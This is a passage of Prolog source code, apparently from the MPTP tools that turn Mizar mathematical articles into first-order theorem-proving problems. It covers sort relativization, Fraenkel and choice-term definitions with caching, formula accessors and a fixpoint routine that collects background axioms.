(?,+,?,?)\nsplit(L,0,[],L).\nsplit([X|Xs],N,[X|Ys],Zs) :- N > 0, N1 is N - 1, split(Xs,N1,Ys,Zs).\n\n%% Digit is a digit character\n%% digit(Digit):- member(Digit, ['0','1','2','3','4','5','6','7','8','9']).\n\ndigit('0'). digit('1'). digit('2'). digit('3'). digit('4').\ndigit('5'). digit('6'). digit('7'). digit('8'). digit('9').\n\n%% mptp_func with args\nmptp_func(X):- X =..[H|_],mptp_func_sym(H).\nground_mptp_func(X):- ground(X),mptp_func(X).\nsch_symbol(X):- atom_chars(X,[F|_]),member(F,[f,p]).\nmptp_local_const(X):- atom_chars(X,[c|_]).\nmptp_func_sym(X):- atom_chars(X,[F|_]),member(F,[k,g,u,'0','1','2','3','4','5','6','7','8','9']).\nmptp_attr_sym(X):- atom_chars(X,[v|_]).\nmptp_mode_sym(X):- atom_chars(X,[F|_]),member(F,[m,l]).\nmptp_attr_or_mode_sym(X):- atom_chars(X,[F|_]),member(F,[v,m,l]).\nmptp_req_name(X):- atom_chars(X,[r,q|_]).\nmptp_fraenkel_sym(X):- atom_chars(X,[a|_]).\nmptp_choice_sym(X):- atom_chars(X,[o|_]).\n%% collect ground counts into buk/3, stack failure otherwise\n%% then print and run perl -e 'while(<>) { /.([0-9]+), (.*)./; $h{$2}+=$1;} foreach $k (sort {$h{$b} <=> $h{$a}} (keys %h)) {print \"$h{$k}:$k\\n\";}'\n%% on the result\nget_ground_info:-\n\tfof(Ref,_,Fla,file(_,_), [mptp_info(_,_,theorem,_,_)|_]),\n\tcollect_with_count_top(ground_mptp_func,Fla,Out,OutC),\n\tnot(buk(Ref,_,_)),assert(buk(Ref,Out,OutC)),\n\tfail.\nprint_ground_info:-\n\ttell('00ground'),\n\tfindall(e,(buk(_,B,C),zip(C,B,S),findall(d,(member(X,S),print(X),nl),_)),_),\n\ttold.\n\n\n%% collect nonvar symbols from term\ncollect_symbols_top(X,L):-\n\tcollect_symbols(X,L1),!,\n\tflatten(L1,L2),\n\tsort(L2,L).\ncollect_symbols(X,[]):- var(X),!.\ncollect_symbols(X,[X]):- atomic(X),!.\ncollect_symbols(X1,T2):-\n\tX1 =.. [H1|T1],\n\tmaplist(collect_symbols,T1,T3),\n\tflatten(T3,T4),\n\tsort([H1|T4],T2).\n\nunion1([],In,In).\nunion1([H|T],In,Out):-\n\tunion(H,In,R1),\n\tunion1(T,R1,Out).\n\n\n%% check_if_symbol(+Term,+Symbol)\n%%\n%% faster check for a symbol than collecting\n%% e.g. check_if_symbol(Fla,all) checks for a fraenkel term\ncheck_if_symbol(X,_):- var(X),!,fail.\ncheck_if_symbol(X, S):- atomic(X),!, X == S.\ncheck_if_symbol(X1,S):-\n\tX1 =.. [H1|T1],\n\t(\n\t  H1 = S,!\n\t;\n\t  check_if_symbol_l(T1,S)\n\t).\n\ncheck_if_symbol_l([H|_],S):- check_if_symbol(H,S),!.\ncheck_if_symbol_l([_|T],S):- check_if_symbol_l(T,S),!.\n\n\n%%%%%%%%%%%%%%%%%%%% Sort relativization %%%%%%%%%%%%%%%%%%%%\n\n% return the list of quantified variables and conjunction of predicates\nsort_transform_qlist([],[],$true).  % needed only for fraenkel\nsort_transform_qlist([X:S],[X],S1):- !,\n\tsort_transform(sort(X,S),S1).\nsort_transform_qlist([(X:S)|T],[X|Qvars1],SortPreds1):-\n\tsort_transform(sort(X,S),S1),\n\tsort_transform_qlist(T,Qvars1,Preds1), !,\n\t(\n\t  S1 == $true -> SortPreds1 = Preds1;\n\t  (\n\t    Preds1 == $true -> SortPreds1 = S1;\n\t    SortPreds1 = (S1 & Preds1)\n\t  )\n\t).\n\n\n% to forbid backtracking\nsort_transform_top(X,Y):- sort_transform(X,Y), !.\n% end of traversal\nsort_transform(X,X):- atomic(X); var(X).\n\n% do sort relativization, and simple removal of $true\nsort_transform(! Svars : Y, Result):-\n\tsort_transform_qlist(Svars,Qvars,Preds),\n\tsort_transform(Y,Y1), !,\n\t(\n\t  Y1 == $true -> Result = $true;\n\t  Result = (! Qvars : UnivRelat),\n\t  (\n\t    Preds == $true -> UnivRelat = Y1;\n\t    UnivRelat = (Preds => Y1)\n\t  )\n\t).\nsort_transform(? Svars : Y, Result):-\n\tsort_transform_qlist(Svars,Qvars,Preds),\n\tsort_transform(Y,Y1), !,\n\t(\n\t  Preds == $true ->\n\t  (\n\t    Y1 == $true -> Result = $true;\n\t    Result = (? Qvars : Y1)\n\t  )\n\t;\n\t  (\n\t    Y1 == $true -> Result = (? Qvars : Preds);\n\t    Result = (? Qvars : (Preds & Y1))\n\t  )\n\t).\n% This clause is redundant now, sort trafo can be done only after 'all' removal\nsort_transform(all(Svars,Trm,Frm),all(Qvars,Trm1,RelatFrm1)):-\n\tsort_transform_qlist(Svars,Qvars,Preds),\n\tsort_transform(Trm,Trm1),\n\tsort_transform(Frm,Frm1), !,\n\t(\n\t  Preds == $true -> RelatFrm1 = Frm1;\n\t  RelatFrm1 = (Preds & Frm1)\n\t).\nsort_transform(sort(X,Y1 & Y2),SortPreds):-\n\tsort_transform(sort(X,Y1),Z1),\n\tsort_transform(sort(X,Y2),Z2), !,\n\t(\n\t  Z1 == $true -> SortPreds = Z2;\n\t  (\n\t    Z2 == $true -> SortPreds = Z1;\n\t    SortPreds = (Z1 & Z2)\n\t  )\n\t).\nsort_transform(sort(X,~Y),~Z):-\n\tsort_transform(sort(X,Y),Z).\nsort_transform(sort(_,$true),$true).\nsort_transform(sort(_,$false),$false).\nsort_transform(sort(X,Y),Z):-\n\tY =.. [F|Args],\n\tmaplist(sort_transform,[X|Args],Args1),\n\tZ =.. [F|Args1].\n% we should not get here\nsort_transform(sort(_,_),_):- throw(sort).\n% removal of $true\nsort_transform((A | B), Result):-\n\tmaplist(sort_transform,[A,B],[A1,B1]),!,\n\t(\n\t  (A1 == $true;B1 == $true) -> Result = $true;\n\t  Result = (A1 | B1)\n\t).\nsort_transform(A & B, Result):-\n\tmaplist(sort_transform,[A,B],[A1,B1]),!,\n\t(\n\t  A1== $true -> Result = B1;\n\t  (\n\t    B1== $true -> Result = A1;\n\t    Result = (A1 & B1)\n\t  )\n\t).\nsort_transform(A => B, Result):-\n\tmaplist(sort_transform,[A,B],[A1,B1]),!,\n\t(\n\t  A1== $true -> Result = B1;\n\t  (\n\t    B1== $true -> Result = $true;\n\t    Result = (A1 => B1)\n\t  )\n\t).\nsort_transform(A <=> B, Result):-\n\tmaplist(sort_transform,[A,B],[A1,B1]),!,\n\t(\n\t  A1== $true -> Result = B1;\n\t  (\n\t    B1== $true -> Result = A1;\n\t    Result = (A1 <=> B1)\n\t  )\n\t).\n% functor traversal\nsort_transform(X1,X2):-\n\tX1 =.. [H1|T1],\n\tmaplist(sort_transform,T1,T2),\n\tX2 =.. [H1|T2].\n\n%%%%%%%%%%%%%%%%%%%% Fraenkel de-anonymization %%%%%%%%%%%%%%%%%%%%\n\n%% First we replace fraenkels by placeholder variables which we remember, and collect\n%% the fraenkels (with their context) into a list corresponding to the variables.\n%% Then we find optimal 'skolem' definitions corresponding to the fraenkels,\n%% instantiate such functors for each frankel with its context, and\n%% put them into the formulas by unifying them with the placeholder variables.\n%% GroundCopy is kept for exact comparisons envolving context\n\n\n%% context has to be updated by the current variable before descent to the rest of variables\nall_collect_qlist([],[],C,C,[]).\nall_collect_qlist([(X:S)|T],[(X:S1)|T1],Context,NewContext,Info):-\n\tall_collect(S,S1,Context,Info_s),\n\tappend(Context,[(X:S1)],C1),\n\tall_collect_qlist(T,T1,C1,NewContext,Info_t),\n\tappend(Info_s,Info_t,Info).\n\nfr_vars(FrInfo, FrVars):- maplist(nth1(1), FrInfo, FrVars).\nsplit_svars(Vars,Sorts,Svars):- zip_s(':', Vars, Sorts, Svars).\n\n\n%% all_collect_top(+In,-Out,-Infos)\n%%\n%% Replace fraenkels in In by variables in Out, putting the needed\n%% info (for creating fraenkel defs) in Infos.\n%% Now also treats choice terms together with freankels.\nall_collect_top(In,Out,Info):- all_collect(In,Out,[],Info),!.\n\n\n%% all_collect(+InTerm,-OutTerm,+Context=[(Var:Sort1)|RestV],\n%%             -Info=[[NewVar,Context,all(Svars1,Trm1,Frm1),GroundCopy]|RestI])\n%%\n%% First we replace fraenkels by placeholder variables which we remember, and collect\n%% the fraenkels (with their context) into a list corresponding to the variables.\n%% Then we find optimal 'skolem' definitions corresponding to the fraenkels,\n%% instantiate such functors for each frankel with its context, and\n%% put them into the formulas by unifying them with the placeholder variables.\n%% GroundCopy is kept for exact comparisons envolving context.\n%% In a similar way the choice terms (the) are treated: replaced by placeholders,\n%% and collected with contexts to a list:\n%% -Info=[[NewVar,Context,the(Type1),GroundCopy]|RestI]\n\n%% end of traversal\nall_collect(X,X,_,[]):- atomic(X); var(X).\n\nall_collect(! Svars : Y, ! Svars1 : Y1, Context, Info_r):-\n\tall_collect_qlist(Svars,Svars1,Context,NewContext,Info_s),\n\tall_collect(Y,Y1,NewContext,Info_y),\n\tappend(Info_s,Info_y,Info_r).\nall_collect(? Svars : Y, ? Svars1 : Y1, Context, Info_r):-\n\tall_collect_qlist(Svars,Svars1,Context,NewContext,Info_s),\n\tall_collect(Y,Y1,NewContext,Info_y),\n\tappend(Info_s,Info_y,Info_r).\n% fix context!!\nall_collect(all(Svars,Trm,Frm),NewVar,Context,\n\t    [[NewVar,RContext,all(Svars1,Trm1,Frm1),GroundCopy]|Info_r]):-\n\t(optimize_fraenkel ->\n\t    (free_variables(all(Svars,Trm,Frm), FreeVars),\n\t\treal_context(FreeVars, Context, RContext));\n\t    RContext = Context),\n\tcopy_term([RContext,all(Svars,Trm,Frm)],GroundCopy),\n\tnumbervars(GroundCopy,0,_),\n\tall_collect_qlist(Svars,Svars1,Context,NewContext,Info),\n\tall_collect_l([Trm,Frm],[Trm1,Frm1],NewContext,Info_l),\n\tappend(Info,Info_l,Info_r).\n\n% unlike above, there is no qlist  here\nall_collect(the(Type),NewVar,Context,\n\t    [[NewVar,RContext,the(Type1),GroundCopy]|Info_r]):-\n\t(optimize_fraenkel ->\n\t    (free_variables(the(Type), FreeVars),\n\t\treal_context(FreeVars, Context, RContext));\n\t    RContext = Context),\n\tcopy_term([RContext,the(Type)],GroundCopy),\n\tnumbervars(GroundCopy,0,_),\n\tall_collect(Type,Type1,Context,Info_r).\n\n% this can only be used if contexts of arguments are independent!\nall_collect(X1,X2,Context,Info):-\n\tX1 =.. [H1|T1],\n\tall_collect_l(T1,T2,Context,Info),\n\tX2 =.. [H1|T2].\n\n% this can only be used if contexts of arguments are independent!\nall_collect_l([],[],_,[]).\nall_collect_l([H1|T1],[H2|T2],Context,Info_r):-\n\tall_collect(H1,H2,Context,Info),\n\tall_collect_l(T1,T2,Context,Info_l),\n\tappend(Info,Info_l,Info_r).\n\n%% only select context necessary for InVars from BigC\n%% done by copy & number to avoid freevars\nis_numvar(X):- ground(X), X=..['$VAR'|_].\n\n\n%% add variables recursively needed for New (i.e. in their sorts)\n%% AllVars and AllSorts must be aligned\nadd_real_numvars(_,_,Old,[],Old).\nadd_real_numvars(AllVars,AllSorts,Old,New,Result):-\n\tappend(Old,New,Old1),\n\tfindall(S, (member(V,New),nth1(N,AllVars,V),nth1(N,AllSorts,S)), Srts0),\n\tcollect_with_count_top(is_numvar,Srts0,New0,_),\n\tintersection(AllVars,New0,New1),\n\tsubtract(New1,Old1,New2),\n\tadd_real_numvars(AllVars,AllSorts,Old1,New2,Result).\n\n%% real_context(+InVars, +BigC, -RealC)\n%% puts the \"really needed\" variables from BigContext into RealContext\n%% BigC and RealC are lists of Var:Sort\n%% bagof needed in the end instead of findall! (not to spoil freevars);\n%% hence the alternative - bagof fails with empty list unlike findall\n%% N1^ is needed for bagof not to bind N1\nreal_context(InVars, BigC, RealC):-\n\tsplit_svars(Vars,Sorts,BigC),\n\tcopy_term([InVars,Vars,Sorts],[InVars1,Vars1,Sorts1]),\n\tnumbervars([InVars1,Vars1,Sorts1],0,_),\n\tintersection(Vars1,InVars1,Added),\n\tadd_real_numvars(Vars1,Sorts1,[],Added,AllAdded),\n\t(AllAdded = [] -> RealC = [];\n\t    (findall(N, (member(V,AllAdded),nth1(N,Vars1,V)), Nrs),\n\t\tsort(Nrs,Nrs1),\n\t\tbagof(C, (N1^member(N1,Nrs1),nth1(N1,BigC,C)), RealC))).\n\n\n% ##todo: this now assumes that length of Context is number of\n%       preceding variables - fix for other quantification formats\n% create freankel (skolem) definition:\n% all([X1,X2:integer], plus(X1,X2), (X1 < X2)) generates:\n% ![X]:( in(X,fraenkel_skolem_functor_1) <=>\n%         ?[X1,X2:integer]:( X = plus(X1,X2) & X1 < X2))\n% Take care with variables, context is shared with formulas,\n% newvars are used as placeholders for other fraenkels.\n% +Info=[[NewVar,Context,all(Svars1,Trm1,Frm1),GroundCopy]|RestI])\n% where GroundCopy is cretaed in all_collect by following:\n% copy_term([RContext,all(Svars,Trm,Frm)],GroundCopy),\n% numbervars(GroundCopy,0,_),\n% which means that two fraenkels with the same GroundCopy are\n% the same (because the RContext is complete, and all symbol names\n% are absolute inside one article)\n% +FrInfo, -NewFrInfo ... unordered list of\n% lists of Fraenkel symbols starting with their arity, e.g.:\n% [[0|FrSymsOfArity_0],[2|FrSymsOfArity_2],[1|FrSymsOfArity_1]],\n\n\n%% new_fr_sym(+File, +Arity, +FrInfo, -NewFrInfo, -NewSym)\n%%\n%% Note that the fraenkel and choice symbols are now treated together,\n%% even though fraenkels start with 'a' and choices with 'o'. So the\n%% numbering is contiguous across both now.\nnew_fr_sym(File, Arity, FrInfo, NewFrInfo, NewSym):-\n\t% find the sublist of symbols with Arity\n\t( select([Arity|FrSyms], FrInfo, TmpInfo);\n\t    ( FrSyms = [], TmpInfo = FrInfo )),\n\tlength(FrSyms, Nr),\n\tconcat_atom([a,Arity,Nr,File], '_', NewSym),\n\t% update the sublist of symbols with Arity\n\tselect([Arity,NewSym|FrSyms], NewFrInfo, TmpInfo), ! .\n\nnew_the_sym(File, Arity, FrInfo, NewFrInfo, NewSym):-\n        % find the sublist of symbols with Arity\n\t( select([Arity|FrSyms], FrInfo, TmpInfo);\n\t    ( FrSyms = [], TmpInfo = FrInfo )),\n\tlength(FrSyms, Nr),\n\tconcat_atom([o,Arity,Nr,File], '_', NewSym),\n\t% update the sublist of symbols with Arity\n\tselect([Arity,NewSym|FrSyms], NewFrInfo, TmpInfo), ! .\n\n%% now also allows re-creating the def from a cached symbol name,\n%% if NewSym is not a variable\nmk_fraenkel_def(File, Var, Context, all(Svars1,Trm1,Frm1),\n\t\tFrInfo, NewFrInfo, NewSym, Def) :-\n\tsplit_svars(Vars, _, Context),\n\tlength(Vars, Arity),\n\t(var(NewSym) ->\n\t    new_fr_sym(File, Arity, FrInfo, NewFrInfo, NewSym)\n\t;\n\t    NewFrInfo = FrInfo\n\t),\n\tFrTrm =.. [NewSym|Vars],\n\tInPred =.. [r2_hidden, X, FrTrm],\n\tExFla = ( ? Svars1 : ( ( X = Trm1 ) & Frm1)),\n\tDef = ( ! [(X : $true)|Context] : ( InPred <=> ExFla ) ),\n\tVar = FrTrm.\n\n%% version for choiceterms (keeping the name of predicate for simplicity)\n%% now also allows re-creating the def from a cached symbol name,\n%% if NewSym is not a variable\nmk_fraenkel_def(File, Var, Context, the(Type1),\n\t\tFrInfo, NewFrInfo, NewSym, Def) :-\n\tsplit_svars(Vars, _, Context),\n\tlength(Vars, Arity),\n\t(var(NewSym) ->\n\t    new_the_sym(File, Arity, FrInfo, NewFrInfo, NewSym)\n\t;\n\t    NewFrInfo = FrInfo\n\t),\n\tChoiceTrm =.. [NewSym|Vars],\n\tSrtFla = sort(ChoiceTrm, Type1),\n\t(Arity = 0 ->\n\t Def = SrtFla\n\t;\n\t Def = ( ! Context: SrtFla )\n\t),\n\tVar = ChoiceTrm.\n\n%% mk_fraenkel_defs_top(+File, +Infos, -NewFrSyms, -NewDefs)\n%%\n%% Using Infos created by all_collect_top, fraenkels are defined\n%% and instantiated in the formulas (sharing vars with infos).\n%% The NewSym and GroundCopy of already created defs are passed in the loop,\n%% and the GroundCopy is checked first for being in the list when\n%% creating a new fraenkel def. If it already exists, the old symbol is\n%% used. This can hopefully be used to keep the naming of\n%% fraenkels stable across various invocations (e.g. when working only\n%% with article's exported items vs. when working with the full article) -\n%% remembering of these pairs across such invocations seems to be enough.\n%% NewDefs is a list of pairs [DefinedSymbol, Def] now\n\n/* old noncaching version to be removed after checks\nmk_fraenkel_defs_top(File, Infos, NewFrSyms, NewDefs):-\n\tmk_fraenkel_defs(File, Infos, [], [], NewFrSyms, NewDefs),!.\n\nmk_fraenkel_defs(_, [], _, FrSyms, FrSyms, []).\nmk_fraenkel_defs(File, [[V,C,_,GrC]|T], GrCopies, FrSyms, NewFrSyms, Defs):-\n\tmember([FoundSym,GrC], GrCopies), !,\n\tsplit_svars(Vars, _, C),\n\tV =.. [FoundSym|Vars],\n\tmk_fraenkel_defs(File, T, GrCopies, FrSyms, NewFrSyms, Defs).\n\nmk_fraenkel_defs(File, [[V,C,Trm,GrC]|T], GrCopies, FrSyms,\n\t\t NewFrSyms, [[NewSym,D]|Defs]):-\n\tmk_fraenkel_def(File, V, C, Trm, FrSyms, FrSyms1, NewSym, D),\n\tmk_fraenkel_defs(File, T, [[NewSym,GrC]|GrCopies],\n\t\t\t FrSyms1, NewFrSyms, Defs).\n*/\n\n\n\n%% updates the fraenkel_cached predicate\n%% note that NewFrSyms is the new cached version, and does not\n%% necessarily correspond to NewDefs (i.e. some defs might\n%% not be created)\nmk_fraenkel_defs_top(File, Infos, NewFrSyms, NewDefs):-\n\t(fraenkel_cached(File, CachedGround0, CachedFrSyms0) ->\n\t    CachedGround = CachedGround0,\n\t    CachedFrSyms = CachedFrSyms0\n\t;\n\t    CachedGround = [],\n\t    CachedFrSyms = []\n\t),\n\t%% GrCopiesOut and CachedGround will generally overlap after this,\n\t%% doing union is OK\n\tmk_fraenkel_defs(File, Infos, [], GrCopiesOut, CachedFrSyms, CachedGround, NewFrSyms, NewDefs),!,\n\tunion(CachedGround, GrCopiesOut, NewCachedGround),\n\tretractall(fraenkel_cached(File, _, _)),\n\tassert(fraenkel_cached(File, NewCachedGround, NewFrSyms)).\n\nmk_fraenkel_defs(_, [], GrCopiesIn, GrCopiesIn, FrSyms, _, FrSyms, []).\n\n%% first check for being \"totally processed\"\nmk_fraenkel_defs(File, [[V,C,_,GrC]|T], GrCopiesIn, GrCopiesOut, FrSyms, CachedGround, NewFrSyms, Defs):-\n\tmember([FoundSym,GrC], GrCopiesIn), !,\n\tsplit_svars(Vars, _, C),\n\t% this is where the variable gets instantiated to the fraenkel functor applied to context\n\tV =.. [FoundSym|Vars],\n\tmk_fraenkel_defs(File, T, GrCopiesIn, GrCopiesOut, FrSyms, CachedGround, NewFrSyms, Defs).\n\n%% if cached, create the def and put the GroundCopy into normal GrCopies,\n%% so that the def is not created again (it will get caught by the previous clause).\n%% FrSyms are unchanged, because they contain CachedSym already\nmk_fraenkel_defs(File, [[V,C,Trm,GrC]|T], GrCopiesIn, GrCopiesOut, FrSyms, CachedGround,\n\t\t NewFrSyms, [[CachedSym,D]|Defs]):-\n\tmember([CachedSym,GrC], CachedGround), !,\n\tmk_fraenkel_def(File, V, C, Trm, FrSyms, FrSyms, CachedSym, D),\n\tmk_fraenkel_defs(File, T, [[CachedSym,GrC]|GrCopiesIn],\n\t\t\t GrCopiesOut, FrSyms, CachedGround, NewFrSyms, Defs).\n\n%% otherwise create the new def, update both GrCopies and FrSyms\nmk_fraenkel_defs(File, [[V,C,Trm,GrC]|T], GrCopiesIn, GrCopiesOut, FrSyms, CachedGround,\n\t\t NewFrSyms, [[NewSym,D]|Defs]):-\n\tmk_fraenkel_def(File, V, C, Trm, FrSyms, FrSyms1, NewSym, D),\n\tmk_fraenkel_defs(File, T, [[NewSym,GrC]|GrCopiesIn], GrCopiesOut,\n\t\t\t FrSyms1, CachedGround, NewFrSyms, Defs).\n\n\n\n\n%%%%%%%%%%%%%%%%%%%% FOF accessors %%%%%%%%%%%%%%%%%%%%\n\n% should be unique for Ref\nget_ref_fla(Ref,Fla):- fof_name(Ref,Id),!,clause(fof(Ref,_,Fla,_,_),_,Id),!.\nget_ref_file(Ref,File):- fof_name(Ref,Id),!,clause(fof(Ref,_,_,file(File,_),_),_,Id),!.\nget_ref_fof(Ref,fof(Ref,R1,R2,R3,R4)):-\n\tfof_name(Ref,Id),!,\n\tclause(fof(Ref,R1,R2,R3,R4),_,Id),!.\n\n\n%% ref_mpropkind(?MPropKind, +Ref)\n%%\n%% Tell the MPropKind of Refs. The arguments are in the opposite order\n%% to make sublist(ref_mpropkind(Kind), RefsIn, RefsOut) calls possible.\nref_mpropkind(MPropKind, Ref):-\n\tget_ref_fof(Ref,fof(Ref,_,_,_,[mptp_info(_,_,MPropKind,_,_)|_])).\n\nref_is_rcluster(Ref):- ref_mpropkind(rcluster, Ref).\n\n%% get_sec_info_refs(+RefsIn, +Secs, +Info, -NewRefs)\n%%\n%% Find all fofs with fof_section in Secs, and Info slot as prescribed.\n%% Those not in RefsIn return in NewRefs.\n%% Is not unique for Sec and Info.\nget_sec_info_refs(RefsIn, Secs, Info, NewRefs):- !,\n\tfindall(Ref1, (member(Sec1,Secs), fof_section(Sec1,Id),\n\t\t\t  clause(fof(Ref1,_,_,file(_,Sec1), Info),_,Id)), Refs1),\n\tsubtract(Refs1, RefsIn, NewRefs).\n\n%% this was very slow for many clauses, even with maximum prolog indexing\n%% so the previous clause is used instead with homemade indexing\nget_sec_info_refs_old(RefsIn, Secs, Info, NewRefs):-\n\tfindall(Ref1, (member(Sec1,Secs), fof(Ref1,_,_,file(_,Sec1), Info)), Refs1),\n\tsubtract(Refs1, RefsIn, NewRefs).\n\nget_consider_empty_justif_types(RefsIn, ConsEmptyJustifTypes):-\n\tfindall(Type,\n\t\t(\n\t\t  member(Ref, RefsIn),\n\t\t  get_ref_fof(Ref,fof(Ref,_,_,_,\n\t\t\t\t      [mptp_info(_,_,_,_,\n\t\t\t\t\t\t [_,mizar_item(consider_justification),\n\t\t\t\t\t\t  considered_constants(Consts)|_]),\n\t\t\t\t       inference(mizar_by,_,[])|_])),\n\t\t  member(Const,Consts),\n\t\t  fof_section(Const,Id),\n\t\t  clause(fof(_,_,sort(Const,Type),file(_,Const),\n\t\t\t     [mptp_info(_,_,constant,_,[consider,type|_])|_]),_,Id)\n\n\t\t),\n\t\tConsEmptyJustifTypes).\n\n\n%%%%%%%%%%%%%%%%%%%% Background computation %%%%%%%%%%%%%%%%%%%%\n\n%% add properties for SymsIn\nget_properties(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,_,_,[property(_)])|_], AddedRefs).\n\nget_existence(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,_,_,[existence])|_], AddedRefs).\n\nget_redefinitions(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,_,_,[redefinition(_,_,_,_)])|_],\n\t\t\t  AddedRefs).\n\nget_fraenkel_defs(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,fraenkel,_,_)|_], Refs1),\n\t(Refs1 = [] -> AddedRefs = [];\n\t    (memberchk(t2_tarski, RefsIn) -> AddedRefs = Refs1;\n\t\tAddedRefs = [t2_tarski|Refs1])).\n\nget_types(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,_,_,[ctype])|_], Refs1),\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,constant,_,[_,type|_])|_], Refs2),\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,functor,_,[scheme,type|_])|_], Refs3),\n\tflatten([Refs1, Refs2, Refs3], AddedRefs).\n\nget_equalities(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,constant,_,[_,equality|_])], AddedRefs).\n\n%% get functor definitions by 'equals' but only for articles\n%% mentioned in the 'definitions' env. declaration\nget_eq_defs(Files,RefsIn,SymsIn,AddedRefs):-\n\tfindall(Ref1, (member(Sym,SymsIn), fof_eq_def(Sym, Id),\n\t\t\t  clause(fof(Ref1,_,_,file(F,_),_),_,Id),\n\t\t\t  member(F,Files)), Refs1),\n\tsubtract(Refs1, RefsIn, AddedRefs).\n\n\n%% version for mizar_by and mizar_proof; mizar_proof should be\n%% enhanced a bit probably\n%% OldSyms are used only for clusters and requirements\none_pass(F,Pos,InfKind,RefsIn,OldSyms,NewSyms,ZeroedRefs,AddedRefs):-\n\tmember(InfKind,[mizar_by,mizar_proof]),\n\ttheory(F, Theory),\n\tmember(registrations(Regs),Theory),\n\tmember(requirements(Reqs),Theory),\n\tmember(definitions(Defs),Theory),\n\tget_properties(RefsIn,NewSyms,Refs0),\n\tget_existence(RefsIn,NewSyms,Refs1),\n\tget_redefinitions(RefsIn,NewSyms,Refs2),\n\tget_types(RefsIn,NewSyms,Refs3),\n\tget_equalities(RefsIn,NewSyms,Refs4),\n%% Refs5=[],\n\tget_clusters([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5),\n\tget_identifyexp([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5i),\n\tget_requirements(Reqs,RefsIn,OldSyms,NewSyms,ZeroedRefs,Refs6),\n\tget_fraenkel_defs(RefsIn,NewSyms,Refs7),\n\tget_eq_defs([F|Defs],RefsIn,NewSyms,Refs8),\n\tget_nr_types(Reqs,RefsIn,NewSyms,Refs9),\n\tflatten([Refs0,Refs1,Refs2,Refs3,Refs4,Refs5,Refs5i,Refs6,Refs7,Refs8,Refs9],\n\t\tAddedRefs).\n\n%% version for mizar_by and mizar_proof pruning\n%%  existence properties and clusters, and requirement flas.\n%%  -- just heuristical, quite often incomplete.\none_pass(F,Pos,mizar_no_existence,RefsIn,OldSyms,NewSyms,_ZeroedRefs,AddedRefs):-\n\ttheory(F, Theory),\n\tmember(registrations(Regs),Theory),\n\tmember(requirements(Reqs),Theory),\n\tmember(definitions(Defs),Theory),\n\tget_properties(RefsIn,NewSyms,Refs0),\n\tget_redefinitions(RefsIn,NewSyms,Refs2),\n\tget_types(RefsIn,NewSyms,Refs3),\n\tget_equalities(RefsIn,NewSyms,Refs4),\n%% Refs5=[],\n\tget_fc_clusters([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5),\n\tget_identifyexp([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5i),\n\tget_fraenkel_defs(RefsIn,NewSyms,Refs7),\n\tget_eq_defs([F|Defs],RefsIn,NewSyms,Refs8),\n\tget_nr_types(Reqs,RefsIn,NewSyms,Refs9),\n\tflatten([Refs0,Refs2,Refs3,Refs4,Refs5,Refs5i,Refs7,Refs8,Refs9],\n\t\tAddedRefs).\n\n\n%% version for mizar_from\n%% OldSyms are used only for clusters and requirements,\n%% fraenkel defs should not be needed --\n%% NO: unfortunately, fraenkel defs are needed, see e1_46__relset_2\n%% ###TODO: also another possible problem there: fraenkel definitions don't seem\n%%          to be instantiated properly in scheme instances\none_pass(F,Pos,mizar_from,RefsIn,OldSyms,NewSyms,_ZeroedRefs,AddedRefs):-\n\ttheory(F, Theory),\n\tmember(registrations(Regs),Theory),\n\tmember(requirements(Reqs),Theory),\n\tget_properties(RefsIn,NewSyms,Refs0),\n\tget_redefinitions(RefsIn,NewSyms,Refs2),\n\tget_types(RefsIn,NewSyms,Refs3),\n\tget_clusters([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5),\n\tget_identifyexp([F|Regs],Pos,RefsIn,OldSyms,NewSyms,Refs5i),\n\tget_nr_types(Reqs,RefsIn,NewSyms,Refs6),\n\tget_fraenkel_defs(RefsIn,NewSyms,Refs7),\n\tflatten([Refs0,Refs2,Refs3,Refs5,Refs5i,Refs6,Refs7], AddedRefs).\n\n\n%% fixpoint(+F,+Pos,+InfKind,+RefsIn,+OldSyms,+NewSyms,-RefsOut)\n%%\n%% Add symbol references until nothing added, OldSyms=[] when called first,\n%% it only serves during the recursion.\n%% fxp_refsin_/1 is an updated list of needed refs computed by the algo\n%% fxp_allsyms_/1 is an updated list of included symbols computed by the algo\n%% ###TODO: keep the refs of different kinds in separate lists,\n%%          so that the lookup using member/2 is not so expensive\n%%          (or just use the recorded db\nfixpoint(F,Pos,InfKind,RefsIn,[],NewSyms,RefsOut):-\n\tretractall(fxp_refsin_(_)),\n\tretractall(fxp_allsyms_(_)),\n\tfindall(d,(member(R,RefsIn),assert(fxp_refsin_(R))),_),\n\tfindall(d,(member(S,NewSyms),assert(fxp_allsyms_(S))),_),\n\tinit_fxp_sym_flags,\n\tfixpoint_(F,Pos,InfKind,RefsIn,[],NewSyms,RefsOut).\n\nfixpoint_(F,Pos,InfKind,RefsIn,OldSyms,NewSyms,RefsOut):-\n\tdecrease_fxp_sym_flags(NewSyms, ZeroedRefs),\n\tdbg(dbg_FIXPOINT,\n\t    (print(nEWSYMS(NewSyms, ZeroedRefs)),nl)),\n\tone_pass(F, Pos, InfKind, RefsIn, OldSyms, NewSyms, ZeroedRefs, Refs1), !,\n\t(\n\t  Refs1 = [] ->\n\t  (\n\t    (\n%%\t      member(opt_FXP_CHECK_CNSDR, Options),\n\t      member(InfKind,[mizar_by,mizar_proof]),\n\t      get_consider_empty_justif_types(RefsIn, ConsEmptyJustifTypes),\n\t      ConsEmptyJustifTypes = [_ | _]\n\t    